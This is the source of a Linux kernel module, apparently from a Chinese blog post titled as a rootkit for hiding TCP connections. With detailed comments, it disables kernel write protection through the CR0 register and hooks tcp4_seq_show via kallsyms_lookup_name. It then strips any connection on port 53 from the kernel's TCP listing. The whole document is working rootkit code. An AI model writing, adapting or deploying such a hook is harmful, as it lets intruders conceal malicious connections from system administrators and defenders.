/*
*通过hook内核函数tcp4_seq_show来隐藏某端口的tcpv4连接信息
*/
/*隐藏TCP的53端口的连接*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/seq_file.h>
#include <linux/unistd.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/fs.h>
#include <asm/ptrace.h>
#define TMPSZ 150 //一个tcp连接所占大小
#define PORT_TO_HIDE 53 //想要隐藏的端口
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Access non-exported symbols");
MODULE_AUTHOR("chuanguo");
//定义一个seq_operations的结构体指针空指针,用来存放系统中的seq_operations的地址。
//seq_operations是seq_file的底层数据操作函数集
//内核会调用 seq_operations中的show 方法来将实际的数据输出到用户空间
struct seq_operations *tcp4_seq_ops_ptr = NULL;
//定义一个tcp4_seq_show的函数指针,用来存放系统中的原始的tcp4_seq_show函数的地址。
typedef int (*tcp4_seq_show_ptr) (struct seq_file *m, void *v);
tcp4_seq_show_ptr old_tcp4_seq_show = NULL;
//对写保护标志位进行改动
//CR0中含有控制处理器操作模式和状态的系统控制标志
inline void mywrite_cr0(unsigned long cr0) {
unsigned long __force_order;
asm volatile(
"mov %0, %%cr0"
: "+r"(cr0), "+m"(__force_order));
}
//使用read_cr0 /write_cr0 来读取 /写入 CR0 寄存器
//关闭写保护(将CR0 寄存器的第16号比特位设置为0(从0开始计数))
void unprotect_memory(void){
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
mywrite_cr0(cr0);
}
//打开写保护(将CR0 寄存器从 0开始数的第 16 个比特置为 1)
void protect_memory(void){
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
mywrite_cr0(cr0);
}
//用于查找haystack中是否含有needle子串
char *strnstr(const char *haystack, const char *needle, size_t n)
{
char *s = strstr(haystack, needle);
if (s == NULL)
return NULL;
if (s-haystack+strlen(needle) <= n)
return s;
else
return NULL;
}
//实现自己定义的tcp4_seq_show函数,取代原有的函数
/*
*要使用seq_file接口,首先需要定义一个file_operations结构体,以实现open方法
*seq_file只是在普通的文件read中加入了内核缓冲的功能,从而实现顺序多次遍历,读取大数据量的简单接口
*整体来看,用户态调用一次读操作,seq_file流程为:该函数调用struct seq_operations结构体顺序为: start ->show->next->show...->next->show->next-> stop->start->stop 来读取顺序文件
*seq_file结构体中的元素:
*buf:seq_file接口使用的缓存页指针,由seq_open分配,大小为4KB
*count:表示可以拷贝到用户态的字符数目
*/
int my_tcp4_seq_show(struct seq_file *seq, void *v)
{
printk("before...\n");
int old_val = (*old_tcp4_seq_show) (seq, v);
//将想要隐藏的端口传给port变量
char port[12];
sprintf(port,"%04X",PORT_TO_HIDE);//将格式化的欲隐藏端口,填充到字符串port中
//查找是否含有指定端口的内容,有的话就删除掉该条tcp连接信息(一个TMPSZ)
if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ)) {
seq->count -= TMPSZ;
}
printk("after...\n");
return old_val;//返回调用原有函数的结果,防止报错
}
static int init_hook(void) {
printk("Init the module...\n");
//kallsyms_lookup_name函数来找到tcp4_seq_ops的结构体地址。
tcp4_seq_ops_ptr = (struct seq_operations *) kallsyms_lookup_name("tcp4_seq_ops");
printk("tcp4_seq_ops addr is %lx.\n", tcp4_seq_ops_ptr);
//然后使用kallsyms_lookup_name获取到tcp4_seq_show的函数地址
old_tcp4_seq_show = (tcp4_seq_show_ptr) kallsyms_lookup_name("tcp4_seq_show");
printk("tcp4_seq_show_ptr addr is %lx.\n", old_tcp4_seq_show);
//这段打印输出是为了比较我们找到的两个函数地址是否为同一个地址。
printk("tcp4_seq_ops.show addr is %lx.\n", tcp4_seq_ops_ptr->show);
//开始进行我们的hook
if (old_tcp4_seq_show != NULL && tcp4_seq_ops_ptr != NULL)
{
printk("start change the tcp4_seq_ops_ptr.show addr...\n");
unprotect_memory();
/*将我们自己的my_tcp4_seq_show替换掉系统中的tcp4_seq_ops_ptr->show的内容。
此处会有一个坑,就是你必须找到tcp4_seq_show函数地址被引用的地方(即tcp4_seq_ops,然后按照系统代码所指定的结构体进行替换
,否则直接用类似于求地址&或者求值*等指针操作修改tcp4_seq_show的引用地址是会报错的,具体原因得看c++语言的说明了)*/
tcp4_seq_ops_ptr->show = (tcp4_seq_show_ptr) (&my_tcp4_seq_show);
protect_memory();
}
return 0;
}
//当移除模块时,将已经hook的内核函数api恢复成原样
static void exit_hook(void){
unprotect_memory();
tcp4_seq_ops_ptr->show = old_tcp4_seq_show;
protect_memory();
printk("remove the module successfully\n");
}
module_init(init_hook);
module_exit(exit_hook);
rootkit隐藏tcp连接信息
最新推荐文章于 2024-05-14 09:36:26 发布